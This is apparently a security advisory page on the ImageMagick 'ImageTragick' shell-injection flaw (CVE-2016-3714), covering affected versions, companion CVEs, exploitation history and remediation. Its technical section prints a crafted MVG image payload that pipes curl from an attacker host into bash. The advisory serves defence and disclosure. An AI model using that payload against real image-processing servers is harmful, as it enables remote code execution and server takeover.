What Is ImageMagick?
ImageMagick is a ubiquitous open-source image processing suite used by virtually every web application that accepts user-uploaded images. Ruby on Rails, PHP applications, WordPress, Drupal, and thousands of custom web platforms call ImageMagick (directly or via language bindings like RMagick, MiniMagick, Imagick, and Wand) to resize, convert, watermark, and process uploaded images. Because ImageMagick processes arbitrary user-supplied image files on the server side, any remote code execution vulnerability in ImageMagick is simultaneously a vulnerability in every web application using it — making it a platform-level vulnerability affecting a massive fraction of the internet.
ImageMagick supports hundreds of image formats through "coders" — format-specific processing modules. Several of these coders interpret special URL schemes or embedded commands, creating shell injection opportunities when user input is not sanitized before being passed to ImageMagick.
Overview
CVE-2016-3714, known as "ImageTragick", is a shell injection vulnerability in ImageMagick's image processing pipeline that allows remote code execution on any server processing user-supplied images with ImageMagick. When ImageMagick processes an image file whose URL or embedded content contains shell metacharacters, those characters are passed unsanitized to shell commands executed by certain ImageMagick coders (EPHEMERAL, HTTPS, MVG, MSL, TEXT, SHOW, WIN, PLT). Since ImageMagick is called by web applications to process uploaded images, an attacker can upload a crafted image file that causes the server to execute arbitrary OS commands. Disclosed May 4, 2016 with immediate mass exploitation. CISA added CVE-2016-3714 to the KEV catalog in September 2024.
Affected Versions
| ImageMagick | Status |
|---|---|
| ImageMagick < 6.9.3-10 | Vulnerable |
| ImageMagick 7.x < 7.0.1-1 | Vulnerable |
| ImageMagick 6.9.3-10 / 7.0.1-1 (policy.xml mitigation only) | Partially mitigated |
| ImageMagick 6.9.4+ / 7.0.2+ | Fully patched |
Note: Applications using ImageMagick through language bindings (Ruby RMagick/MiniMagick, PHP Imagick, Python Wand, Node.js imagemagick) are vulnerable through those bindings.
Technical Details
Root Cause: Shell Injection via Unvalidated Coder URLs
CVE-2016-3714 is an input validation failure (CWE-20) in ImageMagick's handling of image format identifiers and embedded URLs. Several ImageMagick coders process URLs or filenames by constructing shell commands that include user-supplied input without sanitization:
HTTPS coder example — when ImageMagick is asked to fetch and process an image from a URL, the URL is passed to wget or curl via a shell command. A crafted image file containing:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|curl http://attacker.com/shell.sh|bash")'
pop graphic-context
causes ImageMagick to execute: wget "https://example.com/image.jpg"|curl http://attacker.com/shell.sh|bash" — injecting arbitrary commands.
MVG/MSL coders — ImageMagick's vector graphics (MVG) and Magick Scripting Language (MSL) coders process embedded commands that can reference external resources or execute operations, providing additional injection vectors.
Attack via uploaded image — because web applications pass user-uploaded files directly to ImageMagick, an attacker simply uploads a crafted .png, .jpg, or .gif file (with appropriate magic bytes to pass extension-based checks) containing the MVG/URL injection payload. ImageMagick processes the file, executes the injected commands as the web server process user, and returns results (or simply executes a reverse shell or downloads a backdoor).
The "ImageTragick" Disclosure
The vulnerability was named "ImageTragick" by the disclosure team (Nikolay Ermishkin of Mail.Ru Security Team and Stewie) and published at imagetragick.com with working proof-of-concept exploit code on May 4, 2016. The disclosure caused immediate mass exploitation — within hours of the public announcement, exploitation attempts were observed globally. Cloudflare deployed WAF rules within 24 hours; major CDN providers and WAF vendors followed.
Companion CVEs
CVE-2016-3714 was disclosed alongside four related ImageMagick vulnerabilities affecting the same coders:
| CVE | Type | Impact |
|---|---|---|
| CVE-2016-3714 | Shell injection (EPHEMERAL, HTTPS, MVG, MSL) | RCE |
| CVE-2016-3715 | Arbitrary file deletion (EPHEMERAL) | File deletion |
| CVE-2016-3716 | File move (MSL) | File manipulation |
| CVE-2016-3717 | Local file read (LABEL) | Information disclosure |
| CVE-2016-3718 | SSRF (HTTP/FTP coders) | SSRF |
Attack Characteristics
| Attribute | Detail |
|---|---|
| Attack Vector | Any web app using ImageMagick to process uploads |
| Authentication | None required (public image upload forms) |
| Affected Coders | EPHEMERAL, HTTPS, MVG, MSL, TEXT, SHOW, WIN, PLT |
| Execution Context | Web server process user (www-data, apache, nginx) |
| Payload Delivery | Crafted image file with embedded shell commands |
Discovery
Discovered by Nikolay Ermishkin (Mail.Ru Security Team) and researcher "Stewie." Coordinated disclosure was initiated with the ImageMagick developers but the disclosure window was short — the developers released a policy.xml-based mitigation on May 3, 2016, and public disclosure followed May 4, 2016. The short window resulted in widespread unpatched exposure at disclosure time.
Exploitation Context
- Universal web application impact: The combination of ImageMagick's near-universal deployment in web applications and the simplicity of exploitation (upload a crafted image) made ImageTragick one of the most broadly impactful web vulnerabilities of 2016; virtually any web application with an image upload feature was potentially vulnerable
- Immediate mass exploitation: Unlike many vulnerabilities with a gap between disclosure and weaponization, CVE-2016-3714 was exploited at scale within hours of disclosure; exploitation attempts were measured in the millions within days
- Web shell deployment: The most common observed payloads were web shell downloads (PHP/Python reverse shells), enabling persistent access to compromised servers
- Long tail of unpatched applications: Many web applications that include ImageMagick as a dependency were slow to apply updates — particularly WordPress/PHP deployments on shared hosting; CISA's September 2024 KEV addition reflects continued exploitation eight years after the original disclosure
- WAF rule availability: WAF rules blocking ImageTragick payloads are available from all major WAF vendors (Cloudflare, AWS WAF, ModSecurity); these provide immediate mitigation for applications that cannot be immediately updated
Remediation
-
Update ImageMagick to 6.9.4+ or 7.0.2+ — these versions include the complete fix for CVE-2016-3714. Apply via package manager (
apt upgrade imagemagick,yum update imagemagick) or compile from source. Verify the installed version withconvert --version. -
Apply policy.xml restrictions immediately — if upgrade is not immediately possible, add a
policy.xmlconfiguration to disable dangerous coders. Add to ImageMagick'spolicy.xml:<policy domain="coder" rights="none" pattern="EPHEMERAL" /> <policy domain="coder" rights="none" pattern="HTTPS" /> <policy domain="coder" rights="none" pattern="MVG" /> <policy domain="coder" rights="none" pattern="MSL" /> <policy domain="coder" rights="none" pattern="URL" /> <policy domain="coder" rights="none" pattern="HTTP" /> -
Validate file content, not extension — applications should verify that uploaded files match the expected format using magic byte checks (not filename extension alone) before passing them to ImageMagick.
-
Deploy WAF rules — enable ImageTragick-specific WAF rules (available in Cloudflare WAF, AWS WAF Managed Rules, ModSecurity CRS) to block exploitation attempts at the network edge.
-
Run ImageMagick in isolation — process images in a sandboxed environment (Docker container, seccomp profile, or AppArmor/SELinux confinement) that restricts the shell access available if exploitation occurs.
Key Details
| Property | Value |
|---|---|
| CVE ID | CVE-2016-3714 |
| Vendor / Product | ImageMagick — ImageMagick |
| NVD Published | 2016-05-05 |
| NVD Last Modified | 2025-10-22 |
| CVSS 3.1 Score | 8.4 |
| CVSS 3.1 Vector | CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Severity | HIGH |
| CWE | CWE-20 — Improper Input Validation find similar ↗ |
| CISA KEV Added | 2024-09-09 |
| CISA KEV Deadline | 2024-09-30 |
| Known Ransomware Use | No |
CVSS 3.1 Breakdown
Required Action
Timeline
| Date | Event |
|---|---|
| 2016-05-03 | Nikolay Ermishkin (Mail.Ru Security Team) and Stewie discover CVE-2016-3714; coordinated disclosure initiated with ImageMagick developers |
| 2016-05-03 | ImageMagick 6.9.3-10 and 7.0.1-1 released with policy.xml mitigations (patch incomplete — full fix not yet available) |
| 2016-05-04 | ImageTragick disclosure published at imagetragick.com; mass exploitation begins immediately |
| 2016-05-05 | CVE-2016-3714 and related CVEs (CVE-2016-3715, CVE-2016-3716, CVE-2016-3717, CVE-2016-3718) published by NVD |
| 2016-05-06 | Cloudflare WAF deployed rules blocking ImageTragick exploitation attempts |
| 2024-09-09 | Added to CISA Known Exploited Vulnerabilities catalog |
| 2024-09-30 | CISA BOD 22-01 remediation deadline |
References
| Resource | Type |
|---|---|
| NVD — CVE-2016-3714 | Vulnerability Database |
| CISA KEV Catalog Entry | US Government |
| ImageTragick — CVE-2016-3714 and Related Vulnerabilities | Security Research |
| ImageMagick Forum — Security Patch for CVE-2016-3714 | Vendor Advisory |